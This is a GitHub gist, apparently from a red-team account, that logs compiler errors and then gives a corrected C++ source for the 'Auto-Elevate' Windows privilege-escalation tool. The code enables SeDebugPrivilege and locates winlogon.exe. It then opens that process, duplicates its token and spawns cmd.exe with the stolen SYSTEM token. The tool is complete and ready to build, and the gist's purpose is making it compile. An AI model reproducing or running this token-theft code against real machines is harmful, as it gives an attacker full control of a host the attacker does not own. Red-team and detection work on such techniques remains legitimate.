Created
April 25, 2025 11:48
-
-
Save RedTeams/dd5f7b386894667186684e70f513cd4e to your computer and use it in GitHub Desktop.
Auto-ELevate
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Upon attempting compiling the code in the Github repo via the visual studio 2022 x64 developer console, I got the following errors | |
| cl.exe /EHsc /W4 /Fe:program.exe source.cpp /link Advapi32.lib Psapi.lib | |
| source.cpp(34): error C2664: 'BOOL ConvertSidToStringSidA(PSID,LPSTR *)': cannot convert argument 2 from 'wchar_t **' to 'LPSTR *' | |
| source.cpp(34): note: Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or parenthesized function-style cast | |
| C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared\sddl.h(267): note: see declaration of 'ConvertSidToStringSidA' | |
| source.cpp(34): note: while trying to match the argument list '(PSID, wchar_t **)' | |
| source.cpp(68): error C2664: 'std::string wcharToString(wchar_t [])': cannot convert argument 1 from 'CHAR [260]' to 'wchar_t []' | |
| source.cpp(68): note: Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or parenthesized function-style cast | |
| source.cpp(12): note: see declaration of 'wcharToString' | |
| source.cpp(68): note: while trying to match the argument list '(CHAR [260])' | |
| source.cpp(68): warning C4130: '==': logical operation on address of string constant | |
| source.cpp(68): error C2088: built-in operator '==' cannot be applied to an operand of type 'std::string' | |
| source.cpp(93): error C2664: 'BOOL LookupPrivilegeValueA(LPCSTR,LPCSTR,PLUID)': cannot convert argument 2 from 'const wchar_t [17]' to 'LPCSTR' | |
| source.cpp(93): note: Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or parenthesized function-style cast | |
| C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um\winbase.h(7285): note: see declaration of 'LookupPrivilegeValueA' | |
| source.cpp(93): note: while trying to match the argument list '(int, const wchar_t [17], LUID *)' | |
| source.cpp(129): error C2664: 'BOOL CreateProcessWithTokenW(HANDLE,DWORD,LPCWSTR,LPWSTR,DWORD,LPVOID,LPCWSTR,LPSTARTUPINFOW,LPPROCESS_INFORMATION)': cannot convert argument 8 from 'STARTUPINFO *' to 'LPSTARTUPINFOW' | |
| source.cpp(129): note: Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or parenthesized function-style cast | |
| C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um\winbase.h(7689): note: see declaration of 'CreateProcessWithTokenW' | |
| source.cpp(129): note: while trying to match the argument list '(HANDLE, int, const wchar_t [28], int, int, int, int, STARTUPINFO *, PROCESS_INFORMATION *)' | |
| source.cpp(208): error C2143: syntax error: missing ';' before '}' | |
| -------------------------------------------------------- | |
| Compiling the new code, we get the exe | |
| cl.exe /EHsc /W4 /Fe:program.exe Source2.cpp /link Advapi32.lib Psapi.lib | |
| /out:program.exe | |
| Advapi32.lib | |
| Psapi.lib | |
| Source2.obj |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // Code to get rid of compilation errors | |
| // https://github.com/FULLSHADE/Auto-Elevate | |
| #include <windows.h> | |
| #include <iostream> | |
| #include <Psapi.h> | |
| #include <Tlhelp32.h> | |
| #include <sddl.h> | |
| #pragma comment (lib,"advapi32.lib") | |
| #define PROCESS_ARRAY 2048 | |
| std::string wcharToString(const wchar_t* input) | |
| { | |
| std::wstring wstringValue(input); | |
| return std::string(wstringValue.begin(), wstringValue.end()); | |
| } | |
| void GetTokenInfo(HANDLE TokenHandle) | |
| { | |
| DWORD ReturnLength; | |
| SID_NAME_USE SidType; | |
| GetTokenInformation(TokenHandle, TokenUser, NULL, 0, &ReturnLength); | |
| PTOKEN_USER pTokenUser = (PTOKEN_USER)GlobalAlloc(GPTR, ReturnLength); | |
| GetTokenInformation(TokenHandle, TokenUser, pTokenUser, ReturnLength, &ReturnLength); | |
| LPWSTR userSid = NULL; | |
| ConvertSidToStringSidW(pTokenUser->User.Sid, &userSid); | |
| std::string sid = wcharToString(userSid); | |
| wchar_t szGroupName[256]; | |
| wchar_t szDomainName[256]; | |
| DWORD cchGroupName = 256; | |
| DWORD cchDomainName = 256; | |
| LookupAccountSidW(NULL, pTokenUser->User.Sid, szGroupName, &cchGroupName, szDomainName, &cchDomainName, &SidType); | |
| std::wcout << L"[+] Current SID: " << szDomainName << L"\\" << szGroupName << L" @ "; | |
| std::cout << sid << std::endl; | |
| LocalFree(userSid); | |
| GlobalFree(pTokenUser); | |
| } | |
| int LocateWinLogonProcess() | |
| { | |
| HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); | |
| PROCESSENTRY32W p32; | |
| p32.dwSize = sizeof(PROCESSENTRY32W); | |
| if (Process32FirstW(hSnapshot, &p32)) | |
| { | |
| do { | |
| if (std::wstring(p32.szExeFile) == L"winlogon.exe") | |
| { | |
| std::wcout << L"[+] Located winlogon.exe by process name (PID " << p32.th32ProcessID << L")" << std::endl; | |
| CloseHandle(hSnapshot); | |
| return p32.th32ProcessID; | |
| } | |
| } while (Process32NextW(hSnapshot, &p32)); | |
| } | |
| CloseHandle(hSnapshot); | |
| return -1; | |
| } | |
| void EnableSeDebugPrivilegePrivilege() | |
| { | |
| LUID luid; | |
| HANDLE currentProc = OpenProcess(PROCESS_ALL_ACCESS, false, GetCurrentProcessId()); | |
| if (currentProc) | |
| { | |
| HANDLE TokenHandle = NULL; | |
| if (OpenProcessToken(currentProc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle)) | |
| { | |
| if (LookupPrivilegeValueW(NULL, L"SeDebugPrivilege", &luid)) | |
| { | |
| TOKEN_PRIVILEGES tokenPrivs; | |
| tokenPrivs.PrivilegeCount = 1; | |
| tokenPrivs.Privileges[0].Luid = luid; | |
| tokenPrivs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; | |
| if (AdjustTokenPrivileges(TokenHandle, FALSE, &tokenPrivs, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) | |
| { | |
| std::cout << "[+] Added SeDebugPrivilege to the current process token" << std::endl; | |
| } | |
| } | |
| else | |
| { | |
| std::cout << "[!] Failed to lookup SeDebugPrivilege" << std::endl; | |
| } | |
| CloseHandle(TokenHandle); | |
| } | |
| CloseHandle(currentProc); | |
| } | |
| } | |
| BOOL CreateImpersonatedProcess(HANDLE NewToken) | |
| { | |
| STARTUPINFOW lpStartupInfo = { 0 }; | |
| PROCESS_INFORMATION lpProcessInformation = { 0 }; | |
| lpStartupInfo.cb = sizeof(lpStartupInfo); | |
| BOOL NewProcess = CreateProcessWithTokenW( | |
| NewToken, | |
| LOGON_WITH_PROFILE, | |
| L"C:\\Windows\\System32\\cmd.exe", | |
| NULL, | |
| 0, | |
| NULL, | |
| NULL, | |
| &lpStartupInfo, | |
| &lpProcessInformation); | |
| if (!NewProcess) | |
| { | |
| std::cout << "[!] Failed to create a new process with the stolen TOKEN" << std::endl; | |
| return FALSE; | |
| } | |
| std::cout << "[+] Created a new process with the stolen TOKEN" << std::endl; | |
| GetTokenInfo(NewToken); | |
| CloseHandle(lpProcessInformation.hProcess); | |
| CloseHandle(lpProcessInformation.hThread); | |
| return TRUE; | |
| } | |
| BOOL StealToken(int TargetPID) | |
| { | |
| HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, TargetPID); | |
| if (!hProcess) | |
| { | |
| std::cout << "[!] Failed to obtain a HANDLE to the target PID" << std::endl; | |
| return FALSE; | |
| } | |
| std::cout << "[+] Obtained a HANDLE to the target PID" << std::endl; | |
| HANDLE TokenHandle = NULL; | |
| if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &TokenHandle)) | |
| { | |
| std::cout << "[!] Failed to obtain a HANDLE to the target TOKEN" << std::endl; | |
| CloseHandle(hProcess); | |
| return FALSE; | |
| } | |
| std::cout << "[+] Obtained a HANDLE to the target TOKEN" << std::endl; | |
| if (!ImpersonateLoggedOnUser(TokenHandle)) | |
| { | |
| std::cout << "[!] Failed to impersonate the TOKEN's user" << std::endl; | |
| CloseHandle(TokenHandle); | |
| CloseHandle(hProcess); | |
| return FALSE; | |
| } | |
| std::cout << "[+] Impersonated the TOKEN's user" << std::endl; | |
| HANDLE NewToken = NULL; | |
| if (!DuplicateTokenEx(TokenHandle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &NewToken)) | |
| { | |
| std::cout << "[!] Failed to duplicate the target TOKEN" << std::endl; | |
| CloseHandle(TokenHandle); | |
| CloseHandle(hProcess); | |
| return FALSE; | |
| } | |
| std::cout << "[+] Duplicated the target TOKEN" << std::endl; | |
| CreateImpersonatedProcess(NewToken); | |
| CloseHandle(NewToken); | |
| CloseHandle(TokenHandle); | |
| CloseHandle(hProcess); | |
| return TRUE; | |
| } | |
| void CheckCurrentProcess() | |
| { | |
| HANDLE TokenHandle = NULL; | |
| OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &TokenHandle); | |
| GetTokenInfo(TokenHandle); | |
| CloseHandle(TokenHandle); | |
| } | |
| int main(int argc, char* argv[]) | |
| { | |
| CheckCurrentProcess(); | |
| int winLogonPID = LocateWinLogonProcess(); | |
| EnableSeDebugPrivilegePrivilege(); | |
| StealToken(winLogonPID); | |
| return 0; | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment